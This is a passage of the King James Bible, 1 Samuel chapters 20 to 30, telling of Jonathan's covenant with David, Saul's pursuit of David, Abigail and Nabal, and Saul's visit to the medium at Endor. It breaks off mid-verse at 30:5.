LORD, that I die not: 20:15 But also thou shalt not cut off thy +kindness from my house for ever: no, not when the LORD hath cut off +the enemies of David every one from the face of the earth. + +20:16 So Jonathan made a covenant with the house of David, saying, Let +the LORD even require it at the hand of David's enemies. + +20:17 And Jonathan caused David to swear again, because he loved him: +for he loved him as he loved his own soul. + +20:18 Then Jonathan said to David, To morrow is the new moon: and thou +shalt be missed, because thy seat will be empty. + +20:19 And when thou hast stayed three days, then thou shalt go down +quickly, and come to the place where thou didst hide thyself when the +business was in hand, and shalt remain by the stone Ezel. + +20:20 And I will shoot three arrows on the side thereof, as though I +shot at a mark. + +20:21 And, behold, I will send a lad, saying, Go, find out the arrows. +If I expressly say unto the lad, Behold, the arrows are on this side +of thee, take them; then come thou: for there is peace to thee, and no +hurt; as the LORD liveth. + +20:22 But if I say thus unto the young man, Behold, the arrows are +beyond thee; go thy way: for the LORD hath sent thee away. + +20:23 And as touching the matter which thou and I have spoken of, +behold, the LORD be between thee and me for ever. + +20:24 So David hid himself in the field: and when the new moon was +come, the king sat him down to eat meat. + +20:25 And the king sat upon his seat, as at other times, even upon a +seat by the wall: and Jonathan arose, and Abner sat by Saul's side, +and David's place was empty. + +20:26 Nevertheless Saul spake not any thing that day: for he thought, +Something hath befallen him, he is not clean; surely he is not clean. + +20:27 And it came to pass on the morrow, which was the second day of +the month, that David's place was empty: and Saul said unto Jonathan +his son, Wherefore cometh not the son of Jesse to meat, neither +yesterday, nor to day? 20:28 And Jonathan answered Saul, David +earnestly asked leave of me to go to Bethlehem: 20:29 And he said, Let +me go, I pray thee; for our family hath a sacrifice in the city; and +my brother, he hath commanded me to be there: and now, if I have found +favour in thine eyes, let me get away, I pray thee, and see my +brethren. Therefore he cometh not unto the king's table. + +20:30 Then Saul's anger was kindled against Jonathan, and he said unto +him, Thou son of the perverse rebellious woman, do not I know that +thou hast chosen the son of Jesse to thine own confusion, and unto the +confusion of thy mother's nakedness? 20:31 For as long as the son of +Jesse liveth upon the ground, thou shalt not be established, nor thy +kingdom. Wherefore now send and fetch him unto me, for he shall surely +die. + +20:32 And Jonathan answered Saul his father, and said unto him, +Wherefore shall he be slain? what hath he done? 20:33 And Saul cast a +javelin at him to smite him: whereby Jonathan knew that it was +determined of his father to slay David. + +20:34 So Jonathan arose from the table in fierce anger, and did eat no +meat the second day of the month: for he was grieved for David, +because his father had done him shame. + +20:35 And it came to pass in the morning, that Jonathan went out into +the field at the time appointed with David, and a little lad with him. + +20:36 And he said unto his lad, Run, find out now the arrows which I +shoot. And as the lad ran, he shot an arrow beyond him. + +20:37 And when the lad was come to the place of the arrow which +Jonathan had shot, Jonathan cried after the lad, and said, Is not the +arrow beyond thee? 20:38 And Jonathan cried after the lad, Make +speed, haste, stay not. And Jonathan's lad gathered up the arrows, and +came to his master. + +20:39 But the lad knew not any thing: only Jonathan and David knew the +matter. + +20:40 And Jonathan gave his artillery unto his lad, and said unto him, +Go, carry them to the city. + +20:41 And as soon as the lad was gone, David arose out of a place +toward the south, and fell on his face to the ground, and bowed +himself three times: and they kissed one another, and wept one with +another, until David exceeded. + +20:42 And Jonathan said to David, Go in peace, forasmuch as we have +sworn both of us in the name of the LORD, saying, The LORD be between +me and thee, and between my seed and thy seed for ever. And he arose +and departed: and Jonathan went into the city. + +21:1 Then came David to Nob to Ahimelech the priest: and Ahimelech was +afraid at the meeting of David, and said unto him, Why art thou alone, +and no man with thee? 21:2 And David said unto Ahimelech the priest, +The king hath commanded me a business, and hath said unto me, Let no +man know any thing of the business whereabout I send thee, and what I +have commanded thee: and I have appointed my servants to such and such +a place. + +21:3 Now therefore what is under thine hand? give me five loaves of +bread in mine hand, or what there is present. + +21:4 And the priest answered David, and said, There is no common bread +under mine hand, but there is hallowed bread; if the young men have +kept themselves at least from women. + +21:5 And David answered the priest, and said unto him, Of a truth +women have been kept from us about these three days, since I came out, +and the vessels of the young men are holy, and the bread is in a +manner common, yea, though it were sanctified this day in the vessel. + +21:6 So the priest gave him hallowed bread: for there was no bread +there but the shewbread, that was taken from before the LORD, to put +hot bread in the day when it was taken away. + +21:7 Now a certain man of the servants of Saul was there that day, +detained before the LORD; and his name was Doeg, an Edomite, the +chiefest of the herdmen that belonged to Saul. + +21:8 And David said unto Ahimelech, And is there not here under thine +hand spear or sword? for I have neither brought my sword nor my +weapons with me, because the king's business required haste. + +21:9 And the priest said, The sword of Goliath the Philistine, whom +thou slewest in the valley of Elah, behold, it is here wrapped in a +cloth behind the ephod: if thou wilt take that, take it: for there is +no other save that here. And David said, There is none like that; give +it me. + +21:10 And David arose and fled that day for fear of Saul, and went to +Achish the king of Gath. + +21:11 And the servants of Achish said unto him, Is not this David the +king of the land? did they not sing one to another of him in dances, +saying, Saul hath slain his thousands, and David his ten thousands? +21:12 And David laid up these words in his heart, and was sore afraid +of Achish the king of Gath. + +21:13 And he changed his behaviour before them, and feigned himself +mad in their hands, and scrabbled on the doors of the gate, and let +his spittle fall down upon his beard. + +21:14 Then said Achish unto his servants, Lo, ye see the man is mad: +wherefore then have ye brought him to me? 21:15 Have I need of mad +men, that ye have brought this fellow to play the mad man in my +presence? shall this fellow come into my house? 22:1 David therefore +departed thence, and escaped to the cave Adullam: and when his +brethren and all his father's house heard it, they went down thither +to him. + +22:2 And every one that was in distress, and every one that was in +debt, and every one that was discontented, gathered themselves unto +him; and he became a captain over them: and there were with him about +four hundred men. + +22:3 And David went thence to Mizpeh of Moab: and he said unto the +king of Moab, Let my father and my mother, I pray thee, come forth, +and be with you, till I know what God will do for me. + +22:4 And he brought them before the king of Moab: and they dwelt with +him all the while that David was in the hold. + +22:5 And the prophet Gad said unto David, Abide not in the hold; +depart, and get thee into the land of Judah. Then David departed, and +came into the forest of Hareth. + +22:6 When Saul heard that David was discovered, and the men that were +with him, (now Saul abode in Gibeah under a tree in Ramah, having his +spear in his hand, and all his servants were standing about him;) 22:7 +Then Saul said unto his servants that stood about him, Hear now, ye +Benjamites; will the son of Jesse give every one of you fields and +vineyards, and make you all captains of thousands, and captains of +hundreds; 22:8 That all of you have conspired against me, and there is +none that sheweth me that my son hath made a league with the son of +Jesse, and there is none of you that is sorry for me, or sheweth unto +me that my son hath stirred up my servant against me, to lie in wait, +as at this day? 22:9 Then answered Doeg the Edomite, which was set +over the servants of Saul, and said, I saw the son of Jesse coming to +Nob, to Ahimelech the son of Ahitub. + +22:10 And he enquired of the LORD for him, and gave him victuals, and +gave him the sword of Goliath the Philistine. + +22:11 Then the king sent to call Ahimelech the priest, the son of +Ahitub, and all his father's house, the priests that were in Nob: and +they came all of them to the king. + +22:12 And Saul said, Hear now, thou son of Ahitub. And he answered, +Here I am, my lord. + +22:13 And Saul said unto him, Why have ye conspired against me, thou +and the son of Jesse, in that thou hast given him bread, and a sword, +and hast enquired of God for him, that he should rise against me, to +lie in wait, as at this day? 22:14 Then Ahimelech answered the king, +and said, And who is so faithful among all thy servants as David, +which is the king's son in law, and goeth at thy bidding, and is +honourable in thine house? 22:15 Did I then begin to enquire of God +for him? be it far from me: let not the king impute any thing unto his +servant, nor to all the house of my father: for thy servant knew +nothing of all this, less or more. + +22:16 And the king said, Thou shalt surely die, Ahimelech, thou, and +all thy father's house. + +22:17 And the king said unto the footmen that stood about him, Turn, +and slay the priests of the LORD: because their hand also is with +David, and because they knew when he fled, and did not shew it to me. +But the servants of the king would not put forth their hand to fall +upon the priests of the LORD. + +22:18 And the king said to Doeg, Turn thou, and fall upon the priests. +And Doeg the Edomite turned, and he fell upon the priests, and slew on +that day fourscore and five persons that did wear a linen ephod. + +22:19 And Nob, the city of the priests, smote he with the edge of the +sword, both men and women, children and sucklings, and oxen, and +asses, and sheep, with the edge of the sword. + +22:20 And one of the sons of Ahimelech the son of Ahitub, named +Abiathar, escaped, and fled after David. + +22:21 And Abiathar shewed David that Saul had slain the LORD's +priests. + +22:22 And David said unto Abiathar, I knew it that day, when Doeg the +Edomite was there, that he would surely tell Saul: I have occasioned +the death of all the persons of thy father's house. + +22:23 Abide thou with me, fear not: for he that seeketh my life +seeketh thy life: but with me thou shalt be in safeguard. + +23:1 Then they told David, saying, Behold, the Philistines fight +against Keilah, and they rob the threshingfloors. + +23:2 Therefore David enquired of the LORD, saying, Shall I go and +smite these Philistines? And the LORD said unto David, Go, and smite +the Philistines, and save Keilah. + +23:3 And David's men said unto him, Behold, we be afraid here in +Judah: how much more then if we come to Keilah against the armies of +the Philistines? 23:4 Then David enquired of the LORD yet again. And +the LORD answered him and said, Arise, go down to Keilah; for I will +deliver the Philistines into thine hand. + +23:5 So David and his men went to Keilah, and fought with the +Philistines, and brought away their cattle, and smote them with a +great slaughter. So David saved the inhabitants of Keilah. + +23:6 And it came to pass, when Abiathar the son of Ahimelech fled to +David to Keilah, that he came down with an ephod in his hand. + +23:7 And it was told Saul that David was come to Keilah. And Saul +said, God hath delivered him into mine hand; for he is shut in, by +entering into a town that hath gates and bars. + +23:8 And Saul called all the people together to war, to go down to +Keilah, to besiege David and his men. + +23:9 And David knew that Saul secretly practised mischief against him; +and he said to Abiathar the priest, Bring hither the ephod. + +23:10 Then said David, O LORD God of Israel, thy servant hath +certainly heard that Saul seeketh to come to Keilah, to destroy the +city for my sake. + +23:11 Will the men of Keilah deliver me up into his hand? will Saul +come down, as thy servant hath heard? O LORD God of Israel, I beseech +thee, tell thy servant. And the LORD said, He will come down. + +23:12 Then said David, Will the men of Keilah deliver me and my men +into the hand of Saul? And the LORD said, They will deliver thee up. + +23:13 Then David and his men, which were about six hundred, arose and +departed out of Keilah, and went whithersoever they could go. And it +was told Saul that David was escaped from Keilah; and he forbare to go +forth. + +23:14 And David abode in the wilderness in strong holds, and remained +in a mountain in the wilderness of Ziph. And Saul sought him every +day, but God delivered him not into his hand. + +23:15 And David saw that Saul was come out to seek his life: and David +was in the wilderness of Ziph in a wood. + +23:16 And Jonathan Saul's son arose, and went to David into the wood, +and strengthened his hand in God. + +23:17 And he said unto him, Fear not: for the hand of Saul my father +shall not find thee; and thou shalt be king over Israel, and I shall +be next unto thee; and that also Saul my father knoweth. + +23:18 And they two made a covenant before the LORD: and David abode in +the wood, and Jonathan went to his house. + +23:19 Then came up the Ziphites to Saul to Gibeah, saying, Doth not +David hide himself with us in strong holds in the wood, in the hill of +Hachilah, which is on the south of Jeshimon? 23:20 Now therefore, O +king, come down according to all the desire of thy soul to come down; +and our part shall be to deliver him into the king's hand. + +23:21 And Saul said, Blessed be ye of the LORD; for ye have compassion +on me. + +23:22 Go, I pray you, prepare yet, and know and see his place where +his haunt is, and who hath seen him there: for it is told me that he +dealeth very subtilly. + +23:23 See therefore, and take knowledge of all the lurking places +where he hideth himself, and come ye again to me with the certainty, +and I will go with you: and it shall come to pass, if he be in the +land, that I will search him out throughout all the thousands of +Judah. + +23:24 And they arose, and went to Ziph before Saul: but David and his +men were in the wilderness of Maon, in the plain on the south of +Jeshimon. + +23:25 Saul also and his men went to seek him. And they told David; +wherefore he came down into a rock, and abode in the wilderness of +Maon. And when Saul heard that, he pursued after David in the +wilderness of Maon. + +23:26 And Saul went on this side of the mountain, and David and his +men on that side of the mountain: and David made haste to get away for +fear of Saul; for Saul and his men compassed David and his men round +about to take them. + +23:27 But there came a messenger unto Saul, saying, Haste thee, and +come; for the Philistines have invaded the land. + +23:28 Wherefore Saul returned from pursuing after David, and went +against the Philistines: therefore they called that place +Selahammahlekoth. + +23:29 And David went up from thence, and dwelt in strong holds at +Engedi. + +24:1 And it came to pass, when Saul was returned from following the +Philistines, that it was told him, saying, Behold, David is in the +wilderness of Engedi. + +24:2 Then Saul took three thousand chosen men out of all Israel, and +went to seek David and his men upon the rocks of the wild goats. + +24:3 And he came to the sheepcotes by the way, where was a cave; and +Saul went in to cover his feet: and David and his men remained in the +sides of the cave. + +24:4 And the men of David said unto him, Behold the day of which the +LORD said unto thee, Behold, I will deliver thine enemy into thine +hand, that thou mayest do to him as it shall seem good unto thee. Then +David arose, and cut off the skirt of Saul's robe privily. + +24:5 And it came to pass afterward, that David's heart smote him, +because he had cut off Saul's skirt. + +24:6 And he said unto his men, The LORD forbid that I should do this +thing unto my master, the LORD's anointed, to stretch forth mine hand +against him, seeing he is the anointed of the LORD. + +24:7 So David stayed his servants with these words, and suffered them +not to rise against Saul. But Saul rose up out of the cave, and went +on his way. + +24:8 David also arose afterward, and went out of the cave, and cried +after Saul, saying, My lord the king. And when Saul looked behind him, +David stooped with his face to the earth, and bowed himself. + +24:9 And David said to Saul, Wherefore hearest thou men's words, +saying, Behold, David seeketh thy hurt? 24:10 Behold, this day thine +eyes have seen how that the LORD had delivered thee to day into mine +hand in the cave: and some bade me kill thee: but mine eye spared +thee; and I said, I will not put forth mine hand against my lord; for +he is the LORD's anointed. + +24:11 Moreover, my father, see, yea, see the skirt of thy robe in my +hand: for in that I cut off the skirt of thy robe, and killed thee +not, know thou and see that there is neither evil nor transgression in +mine hand, and I have not sinned against thee; yet thou huntest my +soul to take it. + +24:12 The LORD judge between me and thee, and the LORD avenge me of +thee: but mine hand shall not be upon thee. + +24:13 As saith the proverb of the ancients, Wickedness proceedeth from +the wicked: but mine hand shall not be upon thee. + +24:14 After whom is the king of Israel come out? after whom dost thou +pursue? after a dead dog, after a flea. + +24:15 The LORD therefore be judge, and judge between me and thee, and +see, and plead my cause, and deliver me out of thine hand. + +24:16 And it came to pass, when David had made an end of speaking +these words unto Saul, that Saul said, Is this thy voice, my son +David? And Saul lifted up his voice, and wept. + +24:17 And he said to David, Thou art more righteous than I: for thou +hast rewarded me good, whereas I have rewarded thee evil. + +24:18 And thou hast shewed this day how that thou hast dealt well with +me: forasmuch as when the LORD had delivered me into thine hand, thou +killedst me not. + +24:19 For if a man find his enemy, will he let him go well away? +wherefore the LORD reward thee good for that thou hast done unto me +this day. + +24:20 And now, behold, I know well that thou shalt surely be king, and +that the kingdom of Israel shall be established in thine hand. + +24:21 Swear now therefore unto me by the LORD, that thou wilt not cut +off my seed after me, and that thou wilt not destroy my name out of my +father's house. + +24:22 And David sware unto Saul. And Saul went home; but David and his +men gat them up unto the hold. + +25:1 And Samuel died; and all the Israelites were gathered together, +and lamented him, and buried him in his house at Ramah. And David +arose, and went down to the wilderness of Paran. + +25:2 And there was a man in Maon, whose possessions were in Carmel; +and the man was very great, and he had three thousand sheep, and a +thousand goats: and he was shearing his sheep in Carmel. + +25:3 Now the name of the man was Nabal; and the name of his wife +Abigail: and she was a woman of good understanding, and of a beautiful +countenance: but the man was churlish and evil in his doings; and he +was of the house of Caleb. + +25:4 And David heard in the wilderness that Nabal did shear his sheep. + +25:5 And David sent out ten young men, and David said unto the young +men, Get you up to Carmel, and go to Nabal, and greet him in my name: +25:6 And thus shall ye say to him that liveth in prosperity, Peace be +both to thee, and peace be to thine house, and peace be unto all that +thou hast. + +25:7 And now I have heard that thou hast shearers: now thy shepherds +which were with us, we hurt them not, neither was there ought missing +unto them, all the while they were in Carmel. + +25:8 Ask thy young men, and they will shew thee. Wherefore let the +young men find favour in thine eyes: for we come in a good day: give, +I pray thee, whatsoever cometh to thine hand unto thy servants, and to +thy son David. + +25:9 And when David's young men came, they spake to Nabal according to +all those words in the name of David, and ceased. + +25:10 And Nabal answered David's servants, and said, Who is David? and +who is the son of Jesse? there be many servants now a days that break +away every man from his master. + +25:11 Shall I then take my bread, and my water, and my flesh that I +have killed for my shearers, and give it unto men, whom I know not +whence they be? 25:12 So David's young men turned their way, and went +again, and came and told him all those sayings. + +25:13 And David said unto his men, Gird ye on every man his sword. And +they girded on every man his sword; and David also girded on his +sword: and there went up after David about four hundred men; and two +hundred abode by the stuff. + +25:14 But one of the young men told Abigail, Nabal's wife, saying, +Behold, David sent messengers out of the wilderness to salute our +master; and he railed on them. + +25:15 But the men were very good unto us, and we were not hurt, +neither missed we any thing, as long as we were conversant with them, +when we were in the fields: 25:16 They were a wall unto us both by +night and day, all the while we were with them keeping the sheep. + +25:17 Now therefore know and consider what thou wilt do; for evil is +determined against our master, and against all his household: for he +is such a son of Belial, that a man cannot speak to him. + +25:18 Then Abigail made haste, and took two hundred loaves, and two +bottles of wine, and five sheep ready dressed, and five measures of +parched corn, and an hundred clusters of raisins, and two hundred +cakes of figs, and laid them on asses. + +25:19 And she said unto her servants, Go on before me; behold, I come +after you. But she told not her husband Nabal. + +25:20 And it was so, as she rode on the ass, that she came down by the +covert on the hill, and, behold, David and his men came down against +her; and she met them. + +25:21 Now David had said, Surely in vain have I kept all that this +fellow hath in the wilderness, so that nothing was missed of all that +pertained unto him: and he hath requited me evil for good. + +25:22 So and more also do God unto the enemies of David, if I leave of +all that pertain to him by the morning light any that pisseth against +the wall. + +25:23 And when Abigail saw David, she hasted, and lighted off the ass, +and fell before David on her face, and bowed herself to the ground, +25:24 And fell at his feet, and said, Upon me, my lord, upon me let +this iniquity be: and let thine handmaid, I pray thee, speak in thine +audience, and hear the words of thine handmaid. + +25:25 Let not my lord, I pray thee, regard this man of Belial, even +Nabal: for as his name is, so is he; Nabal is his name, and folly is +with him: but I thine handmaid saw not the young men of my lord, whom +thou didst send. + +25:26 Now therefore, my lord, as the LORD liveth, and as thy soul +liveth, seeing the LORD hath withholden thee from coming to shed +blood, and from avenging thyself with thine own hand, now let thine +enemies, and they that seek evil to my lord, be as Nabal. + +25:27 And now this blessing which thine handmaid hath brought unto my +lord, let it even be given unto the young men that follow my lord. + +25:28 I pray thee, forgive the trespass of thine handmaid: for the +LORD will certainly make my lord a sure house; because my lord +fighteth the battles of the LORD, and evil hath not been found in thee +all thy days. + +25:29 Yet a man is risen to pursue thee, and to seek thy soul: but the +soul of my lord shall be bound in the bundle of life with the LORD thy +God; and the souls of thine enemies, them shall he sling out, as out +of the middle of a sling. + +25:30 And it shall come to pass, when the LORD shall have done to my +lord according to all the good that he hath spoken concerning thee, +and shall have appointed thee ruler over Israel; 25:31 That this shall +be no grief unto thee, nor offence of heart unto my lord, either that +thou hast shed blood causeless, or that my lord hath avenged himself: +but when the LORD shall have dealt well with my lord, then remember +thine handmaid. + +25:32 And David said to Abigail, Blessed be the LORD God of Israel, +which sent thee this day to meet me: 25:33 And blessed be thy advice, +and blessed be thou, which hast kept me this day from coming to shed +blood, and from avenging myself with mine own hand. + +25:34 For in very deed, as the LORD God of Israel liveth, which hath +kept me back from hurting thee, except thou hadst hasted and come to +meet me, surely there had not been left unto Nabal by the morning +light any that pisseth against the wall. + +25:35 So David received of her hand that which she had brought him, +and said unto her, Go up in peace to thine house; see, I have +hearkened to thy voice, and have accepted thy person. + +25:36 And Abigail came to Nabal; and, behold, he held a feast in his +house, like the feast of a king; and Nabal's heart was merry within +him, for he was very drunken: wherefore she told him nothing, less or +more, until the morning light. + +25:37 But it came to pass in the morning, when the wine was gone out +of Nabal, and his wife had told him these things, that his heart died +within him, and he became as a stone. + +25:38 And it came to pass about ten days after, that the LORD smote +Nabal, that he died. + +25:39 And when David heard that Nabal was dead, he said, Blessed be +the LORD, that hath pleaded the cause of my reproach from the hand of +Nabal, and hath kept his servant from evil: for the LORD hath returned +the wickedness of Nabal upon his own head. And David sent and communed +with Abigail, to take her to him to wife. + +25:40 And when the servants of David were come to Abigail to Carmel, +they spake unto her, saying, David sent us unto thee, to take thee to +him to wife. + +25:41 And she arose, and bowed herself on her face to the earth, and +said, Behold, let thine handmaid be a servant to wash the feet of the +servants of my lord. + +25:42 And Abigail hasted, and arose and rode upon an ass, with five +damsels of hers that went after her; and she went after the messengers +of David, and became his wife. + +25:43 David also took Ahinoam of Jezreel; and they were also both of +them his wives. + +25:44 But Saul had given Michal his daughter, David's wife, to Phalti +the son of Laish, which was of Gallim. + +26:1 And the Ziphites came unto Saul to Gibeah, saying, Doth not David +hide himself in the hill of Hachilah, which is before Jeshimon? 26:2 +Then Saul arose, and went down to the wilderness of Ziph, having three +thousand chosen men of Israel with him, to seek David in the +wilderness of Ziph. + +26:3 And Saul pitched in the hill of Hachilah, which is before +Jeshimon, by the way. But David abode in the wilderness, and he saw +that Saul came after him into the wilderness. + +26:4 David therefore sent out spies, and understood that Saul was come +in very deed. + +26:5 And David arose, and came to the place where Saul had pitched: +and David beheld the place where Saul lay, and Abner the son of Ner, +the captain of his host: and Saul lay in the trench, and the people +pitched round about him. + +26:6 Then answered David and said to Ahimelech the Hittite, and to +Abishai the son of Zeruiah, brother to Joab, saying, Who will go down +with me to Saul to the camp? And Abishai said, I will go down with +thee. + +26:7 So David and Abishai came to the people by night: and, behold, +Saul lay sleeping within the trench, and his spear stuck in the ground +at his bolster: but Abner and the people lay round about him. + +26:8 Then said Abishai to David, God hath delivered thine enemy into +thine hand this day: now therefore let me smite him, I pray thee, with +the spear even to the earth at once, and I will not smite him the +second time. + +26:9 And David said to Abishai, Destroy him not: for who can stretch +forth his hand against the LORD's anointed, and be guiltless? 26:10 +David said furthermore, As the LORD liveth, the LORD shall smite him; +or his day shall come to die; or he shall descend into battle, and +perish. + +26:11 The LORD forbid that I should stretch forth mine hand against +the LORD's anointed: but, I pray thee, take thou now the spear that is +at his bolster, and the cruse of water, and let us go. + +26:12 So David took the spear and the cruse of water from Saul's +bolster; and they gat them away, and no man saw it, nor knew it, +neither awaked: for they were all asleep; because a deep sleep from +the LORD was fallen upon them. + +26:13 Then David went over to the other side, and stood on the top of +an hill afar off; a great space being between them: 26:14 And David +cried to the people, and to Abner the son of Ner, saying, Answerest +thou not, Abner? Then Abner answered and said, Who art thou that +criest to the king? 26:15 And David said to Abner, Art not thou a +valiant man? and who is like to thee in Israel? wherefore then hast +thou not kept thy lord the king? for there came one of the people in +to destroy the king thy lord. + +26:16 This thing is not good that thou hast done. As the LORD liveth, +ye are worthy to die, because ye have not kept your master, the LORD's +anointed. + +And now see where the king's spear is, and the cruse of water that was +at his bolster. + +26:17 And Saul knew David's voice, and said, Is this thy voice, my son +David? And David said, It is my voice, my lord, O king. + +26:18 And he said, Wherefore doth my lord thus pursue after his +servant? for what have I done? or what evil is in mine hand? 26:19 +Now therefore, I pray thee, let my lord the king hear the words of his +servant. If the LORD have stirred thee up against me, let him accept +an offering: but if they be the children of men, cursed be they before +the LORD; for they have driven me out this day from abiding in the +inheritance of the LORD, saying, Go, serve other gods. + +26:20 Now therefore, let not my blood fall to the earth before the +face of the LORD: for the king of Israel is come out to seek a flea, +as when one doth hunt a partridge in the mountains. + +26:21 Then said Saul, I have sinned: return, my son David: for I will +no more do thee harm, because my soul was precious in thine eyes this +day: behold, I have played the fool, and have erred exceedingly. + +26:22 And David answered and said, Behold the king's spear! and let +one of the young men come over and fetch it. + +26:23 The LORD render to every man his righteousness and his +faithfulness; for the LORD delivered thee into my hand to day, but I +would not stretch forth mine hand against the LORD's anointed. + +26:24 And, behold, as thy life was much set by this day in mine eyes, +so let my life be much set by in the eyes of the LORD, and let him +deliver me out of all tribulation. + +26:25 Then Saul said to David, Blessed be thou, my son David: thou +shalt both do great things, and also shalt still prevail. So David +went on his way, and Saul returned to his place. + +27:1 And David said in his heart, I shall now perish one day by the +hand of Saul: there is nothing better for me than that I should +speedily escape into the land of the Philistines; and Saul shall +despair of me, to seek me any more in any coast of Israel: so shall I +escape out of his hand. + +27:2 And David arose, and he passed over with the six hundred men that +were with him unto Achish, the son of Maoch, king of Gath. + +27:3 And David dwelt with Achish at Gath, he and his men, every man +with his household, even David with his two wives, Ahinoam the +Jezreelitess, and Abigail the Carmelitess, Nabal's wife. + +27:4 And it was told Saul that David was fled to Gath: and he sought +no more again for him. + +27:5 And David said unto Achish, If I have now found grace in thine +eyes, let them give me a place in some town in the country, that I may +dwell there: for why should thy servant dwell in the royal city with +thee? 27:6 Then Achish gave him Ziklag that day: wherefore Ziklag +pertaineth unto the kings of Judah unto this day. + +27:7 And the time that David dwelt in the country of the Philistines +was a full year and four months. + +27:8 And David and his men went up, and invaded the Geshurites, and +the Gezrites, and the Amalekites: for those nations were of old the +inhabitants of the land, as thou goest to Shur, even unto the land of +Egypt. + +27:9 And David smote the land, and left neither man nor woman alive, +and took away the sheep, and the oxen, and the asses, and the camels, +and the apparel, and returned, and came to Achish. + +27:10 And Achish said, Whither have ye made a road to day? And David +said, Against the south of Judah, and against the south of the +Jerahmeelites, and against the south of the Kenites. + +27:11 And David saved neither man nor woman alive, to bring tidings to +Gath, saying, Lest they should tell on us, saying, So did David, and +so will be his manner all the while he dwelleth in the country of the +Philistines. + +27:12 And Achish believed David, saying, He hath made his people +Israel utterly to abhor him; therefore he shall be my servant for +ever. + +28:1 And it came to pass in those days, that the Philistines gathered +their armies together for warfare, to fight with Israel. And Achish +said unto David, Know thou assuredly, that thou shalt go out with me +to battle, thou and thy men. + +28:2 And David said to Achish, Surely thou shalt know what thy servant +can do. And Achish said to David, Therefore will I make thee keeper of +mine head for ever. + +28:3 Now Samuel was dead, and all Israel had lamented him, and buried +him in Ramah, even in his own city. And Saul had put away those that +had familiar spirits, and the wizards, out of the land. + +28:4 And the Philistines gathered themselves together, and came and +pitched in Shunem: and Saul gathered all Israel together, and they +pitched in Gilboa. + +28:5 And when Saul saw the host of the Philistines, he was afraid, and +his heart greatly trembled. + +28:6 And when Saul enquired of the LORD, the LORD answered him not, +neither by dreams, nor by Urim, nor by prophets. + +28:7 Then said Saul unto his servants, Seek me a woman that hath a +familiar spirit, that I may go to her, and enquire of her. And his +servants said to him, Behold, there is a woman that hath a familiar +spirit at Endor. + +28:8 And Saul disguised himself, and put on other raiment, and he +went, and two men with him, and they came to the woman by night: and +he said, I pray thee, divine unto me by the familiar spirit, and bring +me him up, whom I shall name unto thee. + +28:9 And the woman said unto him, Behold, thou knowest what Saul hath +done, how he hath cut off those that have familiar spirits, and the +wizards, out of the land: wherefore then layest thou a snare for my +life, to cause me to die? 28:10 And Saul sware to her by the LORD, +saying, As the LORD liveth, there shall no punishment happen to thee +for this thing. + +28:11 Then said the woman, Whom shall I bring up unto thee? And he +said, Bring me up Samuel. + +28:12 And when the woman saw Samuel, she cried with a loud voice: and +the woman spake to Saul, saying, Why hast thou deceived me? for thou +art Saul. + +28:13 And the king said unto her, Be not afraid: for what sawest thou? +And the woman said unto Saul, I saw gods ascending out of the earth. + +28:14 And he said unto her, What form is he of? And she said, An old +man cometh up; and he is covered with a mantle. And Saul perceived +that it was Samuel, and he stooped with his face to the ground, and +bowed himself. + +28:15 And Samuel said to Saul, Why hast thou disquieted me, to bring +me up? And Saul answered, I am sore distressed; for the Philistines +make war against me, and God is departed from me, and answereth me no +more, neither by prophets, nor by dreams: therefore I have called +thee, that thou mayest make known unto me what I shall do. + +28:16 Then said Samuel, Wherefore then dost thou ask of me, seeing the +LORD is departed from thee, and is become thine enemy? 28:17 And the +LORD hath done to him, as he spake by me: for the LORD hath rent the +kingdom out of thine hand, and given it to thy neighbour, even to +David: 28:18 Because thou obeyedst not the voice of the LORD, nor +executedst his fierce wrath upon Amalek, therefore hath the LORD done +this thing unto thee this day. + +28:19 Moreover the LORD will also deliver Israel with thee into the +hand of the Philistines: and to morrow shalt thou and thy sons be with +me: the LORD also shall deliver the host of Israel into the hand of +the Philistines. + +28:20 Then Saul fell straightway all along on the earth, and was sore +afraid, because of the words of Samuel: and there was no strength in +him; for he had eaten no bread all the day, nor all the night. + +28:21 And the woman came unto Saul, and saw that he was sore troubled, +and said unto him, Behold, thine handmaid hath obeyed thy voice, and I +have put my life in my hand, and have hearkened unto thy words which +thou spakest unto me. + +28:22 Now therefore, I pray thee, hearken thou also unto the voice of +thine handmaid, and let me set a morsel of bread before thee; and eat, +that thou mayest have strength, when thou goest on thy way. + +28:23 But he refused, and said, I will not eat. But his servants, +together with the woman, compelled him; and he hearkened unto their +voice. So he arose from the earth, and sat upon the bed. + +28:24 And the woman had a fat calf in the house; and she hasted, and +killed it, and took flour, and kneaded it, and did bake unleavened +bread thereof: 28:25 And she brought it before Saul, and before his +servants; and they did eat. Then they rose up, and went away that +night. + +29:1 Now the Philistines gathered together all their armies to Aphek: +and the Israelites pitched by a fountain which is in Jezreel. + +29:2 And the lords of the Philistines passed on by hundreds, and by +thousands: but David and his men passed on in the rereward with +Achish. + +29:3 Then said the princes of the Philistines, What do these Hebrews +here? And Achish said unto the princes of the Philistines, Is not +this David, the servant of Saul the king of Israel, which hath been +with me these days, or these years, and I have found no fault in him +since he fell unto me unto this day? 29:4 And the princes of the +Philistines were wroth with him; and the princes of the Philistines +said unto him, Make this fellow return, that he may go again to his +place which thou hast appointed him, and let him not go down with us +to battle, lest in the battle he be an adversary to us: for wherewith +should he reconcile himself unto his master? should it not be with the +heads of these men? 29:5 Is not this David, of whom they sang one to +another in dances, saying, Saul slew his thousands, and David his ten +thousands? 29:6 Then Achish called David, and said unto him, Surely, +as the LORD liveth, thou hast been upright, and thy going out and thy +coming in with me in the host is good in my sight: for I have not +found evil in thee since the day of thy coming unto me unto this day: +nevertheless the lords favour thee not. + +29:7 Wherefore now return, and go in peace, that thou displease not +the lords of the Philistines. + +29:8 And David said unto Achish, But what have I done? and what hast +thou found in thy servant so long as I have been with thee unto this +day, that I may not go fight against the enemies of my lord the king? +29:9 And Achish answered and said to David, I know that thou art good +in my sight, as an angel of God: notwithstanding the princes of the +Philistines have said, He shall not go up with us to the battle. + +29:10 Wherefore now rise up early in the morning with thy master's +servants that are come with thee: and as soon as ye be up early in the +morning, and have light, depart. + +29:11 So David and his men rose up early to depart in the morning, to +return into the land of the Philistines. And the Philistines went up +to Jezreel. + +30:1 And it came to pass, when David and his men were come to Ziklag +on the third day, that the Amalekites had invaded the south, and +Ziklag, and smitten Ziklag, and burned it with fire; 30:2 And had +taken the women captives, that were therein: they slew not any, either +great or small, but carried them away, and went on their way. + +30:3 So David and his men came to the city, and, behold, it was burned +with fire; and their wives, and their sons, and their daughters, were +taken captives. + +30:4 Then David and the people that were with him lifted up their +voice and wept, until they had no more power to weep. + +30:5 And 